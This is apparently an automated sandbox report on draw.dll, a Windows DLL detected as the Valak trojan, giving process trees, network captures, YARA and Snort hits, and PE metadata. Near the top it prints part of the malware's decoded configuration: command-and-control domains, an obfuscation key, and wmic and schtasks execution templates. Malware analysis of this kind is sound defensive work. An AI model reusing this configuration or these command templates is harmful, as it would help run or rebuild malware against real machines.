Preview:	var config = {.. PRIMARY_C2 : ['http://az361816.vo.msecnd.net','http://msnbot-207-46-194-33.search.msn.com','http://ec.atdmt.com','http://a-zcorner.com','http://knockoutlights.com','http://organicgreensfl.com','http://d0d0f3d189430.com','http://d0d0abee1d18255e.com'],.. SOFT_SIG : 'mad29',.. SOFT_VERSION: 32,.. C2_REQUEST_SLEEP : 21,.. C2_FAIL_SLEEP : 21,.. C2_FAIL_COUNT : 20,.. C2_OB_KEY : 'JxTRG4mY',...... C2_PREFIX : 'rpc.aspx'..}......var SELECTED_C2 = config.PRIMARY_C2[0];......Math.imul = function (a, b) {.. var ah = (a >>> 16) & 0xffff;.. var al = a & 0xffff;.. var bh = (b >>> 16) & 0xffff;.. var bl = b & 0xffff;.. return ((al * bl) + (((ah * bl + al * bh) << 16) >>> 0) \| 0);..};......var GlobalStrings = {.. REG_ROOT : "HKEY_CURRENT_USER\\Software\\ApplicationContainer\\Appsw64\\",.. WMIC_EXEC_ARGS : "wmic process call create \"%path% %args%\"",.. WMIC_EXEC : "wmic process call create \"%path%\"",.. TASK_CREATE : "schtasks /Create /F /TN \"%name%\" /TR \"%comma

CreateProcessW, VirtualProtectEx, CreateSemaphoreW, CloseHandle, CreateFileA, SetStdHandle, WideCharToMultiByte, InterlockedIncrement, InterlockedDecrement, InterlockedExchange, MultiByteToWideChar, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCurrentThreadId, GetCommandLineA, GetCPInfo, GetLastError, HeapFree, RtlUnwind, RaiseException, LCMapStringA, LCMapStringW, GetACP, GetOEMCP, IsValidCodePage, GetModuleHandleW, GetProcAddress, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapAlloc, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapCreate, HeapDestroy, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetStringTypeA, GetStringTypeW, WriteFile, HeapSize, VirtualAlloc, HeapReAlloc, GetUserDefaultLCID, GetLocaleInfoA, EnumSystemLocalesA, IsValidLocale, GetConsoleCP, GetConsoleMode, FlushFileBuffers, ReadFile, SetFilePointer, LoadLibraryA, InitializeCriticalSectionAndSpinCount, GetLocaleInfoW, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, GetModuleHandleA

urlmon.dll

GetComponentIDFromCLSSPEC, FindMediaTypeClass, FindMediaType, GetClassFileOrMime

Exports

Name	Ordinal	Address
Productword9	1	0x100301d0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3152.199.19.16149702802842995 11/30/22-08:57:37.118787	TCP	2842995	ETPRO TROJAN Win32/Valak v33 CnC Activity M1	49702	80	192.168.2.3	152.199.19.161
192.168.2.3152.199.19.16149703802842995 11/30/22-08:58:20.522210	TCP	2842995	ETPRO TROJAN Win32/Valak v33 CnC Activity M1	49703	80	192.168.2.3	152.199.19.161
192.168.2.3207.148.248.14349706802842995 11/30/22-08:59:03.257622	TCP	2842995	ETPRO TROJAN Win32/Valak v33 CnC Activity M1	49706	80	192.168.2.3	207.148.248.143
192.168.2.3152.199.19.16149704802842995 11/30/22-08:58:20.803397	TCP	2842995	ETPRO TROJAN Win32/Valak v33 CnC Activity M1	49704	80	192.168.2.3	152.199.19.161
192.168.2.3207.148.248.14349705802842995 11/30/22-08:59:02.895059	TCP	2842995	ETPRO TROJAN Win32/Valak v33 CnC Activity M1	49705	80	192.168.2.3	207.148.248.143
192.168.2.3152.199.19.16149701802842995 11/30/22-08:57:37.104764	TCP	2842995	ETPRO TROJAN Win32/Valak v33 CnC Activity M1	49701	80	192.168.2.3	152.199.19.161

Network Port Distribution

Total Packets: 20
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 08:59:02.792072058 CET	49705	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:02.890474081 CET	80	49705	207.148.248.143	192.168.2.3
Nov 30, 2022 08:59:02.890742064 CET	49705	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:02.895059109 CET	49705	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:02.994808912 CET	80	49705	207.148.248.143	192.168.2.3
Nov 30, 2022 08:59:02.994968891 CET	49705	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:03.151276112 CET	49706	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:03.255824089 CET	80	49706	207.148.248.143	192.168.2.3
Nov 30, 2022 08:59:03.256017923 CET	49706	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:03.257622004 CET	49706	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:03.363769054 CET	80	49706	207.148.248.143	192.168.2.3
Nov 30, 2022 08:59:03.363899946 CET	49706	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:12.995728970 CET	80	49705	207.148.248.143	192.168.2.3
Nov 30, 2022 08:59:12.996102095 CET	49705	80	192.168.2.3	207.148.248.143
Nov 30, 2022 08:59:13.364358902 CET	80	49706	207.148.248.143	192.168.2.3
Nov 30, 2022 08:59:13.364459038 CET	49706	80	192.168.2.3	207.148.248.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 08:57:58.546968937 CET	57990	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:57:58.567497015 CET	53	57990	8.8.8.8	192.168.2.3
Nov 30, 2022 08:57:59.673547983 CET	52387	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:57:59.701442957 CET	53	52387	8.8.8.8	192.168.2.3
Nov 30, 2022 08:58:20.418662071 CET	56924	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:58:20.751039982 CET	60625	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:58:41.613763094 CET	49302	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:58:41.636904001 CET	53	49302	8.8.8.8	192.168.2.3
Nov 30, 2022 08:58:41.888010979 CET	53975	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:58:41.908310890 CET	53	53975	8.8.8.8	192.168.2.3
Nov 30, 2022 08:59:02.656181097 CET	51139	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:59:02.789993048 CET	53	51139	8.8.8.8	192.168.2.3
Nov 30, 2022 08:59:03.031408072 CET	52955	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:59:03.147399902 CET	53	52955	8.8.8.8	192.168.2.3
Nov 30, 2022 08:59:10.006431103 CET	60582	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:59:10.026748896 CET	53	60582	8.8.8.8	192.168.2.3
Nov 30, 2022 08:59:10.126538038 CET	57134	53	192.168.2.3	8.8.8.8
Nov 30, 2022 08:59:10.148607016 CET	53	57134	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2022 08:57:58.546968937 CET	192.168.2.3	8.8.8.8	0xf2b1	Standard query (0)	msnbot-207-46-194-33.search.msn.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:57:59.673547983 CET	192.168.2.3	8.8.8.8	0x53a8	Standard query (0)	msnbot-207-46-194-33.search.msn.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:58:20.418662071 CET	192.168.2.3	8.8.8.8	0x599f	Standard query (0)	ec.atdmt.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:58:20.751039982 CET	192.168.2.3	8.8.8.8	0x9a2e	Standard query (0)	ec.atdmt.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:58:41.613763094 CET	192.168.2.3	8.8.8.8	0x7e8e	Standard query (0)	a-zcorner.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:58:41.888010979 CET	192.168.2.3	8.8.8.8	0x5e81	Standard query (0)	a-zcorner.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:02.656181097 CET	192.168.2.3	8.8.8.8	0x4d29	Standard query (0)	knockoutlights.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:03.031408072 CET	192.168.2.3	8.8.8.8	0x1411	Standard query (0)	knockoutlights.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:10.006431103 CET	192.168.2.3	8.8.8.8	0x4025	Standard query (0)	organicgreensfl.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:10.126538038 CET	192.168.2.3	8.8.8.8	0x79f7	Standard query (0)	organicgreensfl.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 30, 2022 08:57:58.567497015 CET	8.8.8.8	192.168.2.3	0xf2b1	Name error (3)	msnbot-207-46-194-33.search.msn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:57:59.701442957 CET	8.8.8.8	192.168.2.3	0x53a8	Name error (3)	msnbot-207-46-194-33.search.msn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:58:20.444433928 CET	8.8.8.8	192.168.2.3	0x599f	No error (0)	ec.atdmt.com	atlasdmt.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2022 08:58:20.774518967 CET	8.8.8.8	192.168.2.3	0x9a2e	No error (0)	ec.atdmt.com	atlasdmt.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2022 08:58:41.636904001 CET	8.8.8.8	192.168.2.3	0x7e8e	Name error (3)	a-zcorner.com	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:58:41.908310890 CET	8.8.8.8	192.168.2.3	0x5e81	Name error (3)	a-zcorner.com	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:02.789993048 CET	8.8.8.8	192.168.2.3	0x4d29	No error (0)	knockoutlights.com		207.148.248.143	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:03.147399902 CET	8.8.8.8	192.168.2.3	0x1411	No error (0)	knockoutlights.com		207.148.248.143	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:10.026748896 CET	8.8.8.8	192.168.2.3	0x4025	Name error (3)	organicgreensfl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 08:59:10.148607016 CET	8.8.8.8	192.168.2.3	0x79f7	Name error (3)	organicgreensfl.com	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

knockoutlights.com

Statistics

Click to jump to process

Target ID:	0
Start time:	08:55:05
Start date:	30/11/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\draw.dll"
Imagebase:	0x9e0000
File size:	116736 bytes
MD5 hash:	1F562FBF37040EC6C43C8D5EF619EA39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 00000000.00000003.543709886.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate

Show Windows behavior

Target ID:	1
Start time:	08:55:05
Start date:	30/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exePID: 4020, Parent PID: 5220

General

Target ID:	2
Start time:	08:55:06
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\draw.dll",#1
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	08:55:06
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\draw.dll,Productword9
Imagebase:	0x1300000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 00000003.00000003.535269013.0000000001190000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	08:55:06
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\draw.dll",#1
Imagebase:	0x1300000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 00000004.00000003.539757980.0000000003340000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high

Target ID:	12
Start time:	08:57:23
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan
Imagebase:	0x1120000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000003.663663437.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000003.541881581.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000002.769524116.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000003.541855896.0000000004B3E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000002.769445270.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000003.663643714.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000003.541894520.0000000004B43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 0000000C.00000002.768788534.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Target ID:	16
Start time:	08:57:24
Start date:	30/11/2022
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	wscript.exe //E:jscript "C:\Users\Public\iVIwVADQD.eLxan
Imagebase:	0x1120000
File size:	147456 bytes
MD5 hash:	7075DD7B9BE8807FCA93ACD86F724884
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000002.769397829.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000003.545215444.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000003.545195745.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000003.545061419.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000002.769545219.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000002.768676273.0000000000708000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000003.544989775.0000000004BCF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000003.663036731.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Allatori_Valak, Description: Yara detected Valak, Source: 00000010.00000003.545168174.0000000004BD5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Disassembly

⊘No disassembly

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.607669812933409
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	draw.dll
File size:	311808
MD5:	78e05075e686397097de69fb0402263e
SHA1:	f3e9e7f321deb1a3408053168a6a67c6cd70e114
SHA256:	3769a84dbe7ba74ad7b0b355a864483d3562888a67806082ff094a56ce73bf7e
SHA512:	746a430aaad88fa150e7709ed834834fe5d9483c2d92c4838cd26b6f4dad960480daae7dec2a66fb4023c2cbfc316f820f809a7e51a7425900b33fe425759f2b
SSDEEP:	6144:qvcrjpzLkdo1R6HNX3/jllAbTlj1/BVICh:oaCduiNnHA/Be
TLSH:	0B64CF2136E18032F25B5B389457C2715BBEBC949B78D6CB9BC003AE5B231D19B78787
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k.=...n...n...n.X.n...n.X.n...n.X.n\..n.r.n...n...n...n.X.n...n.X.n...n.X.n...n.X.n...nRich...n................PE..L...[].^...

Entrypoint:	0x10005962
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:
Time Stamp:	0x5ED75D5B [Wed Jun 3 08:20:43 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	3f31bb7bb53b534359adef9d369abdc6

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x453a0	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x44bcc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14d000	0x4ec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14e000	0x17ac	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x351c0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x35000	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x33225	0x33400	False	0.7268149771341463	data	6.796375367309152	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x35000	0x103e8	0x10400	False	0.6549278846153846	data	5.757774709617991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x46000	0x1068a8	0x5000	False	0.550927734375	data	4.716639874488365	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x14d000	0x4ec	0x600	False	0.38671875	data	4.551593190209784	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x14e000	0x2ff0	0x3000	False	0.4087727864583333	data	4.183442579206289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x14d0a0	0x2f0	SysEx File - IDP	English	United States
RT_MANIFEST	0x14d390	0x15a	ASCII text, with CRLF line terminators	English	United States

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report draw.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\iVIwVADQD.eLxan

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
draw.dll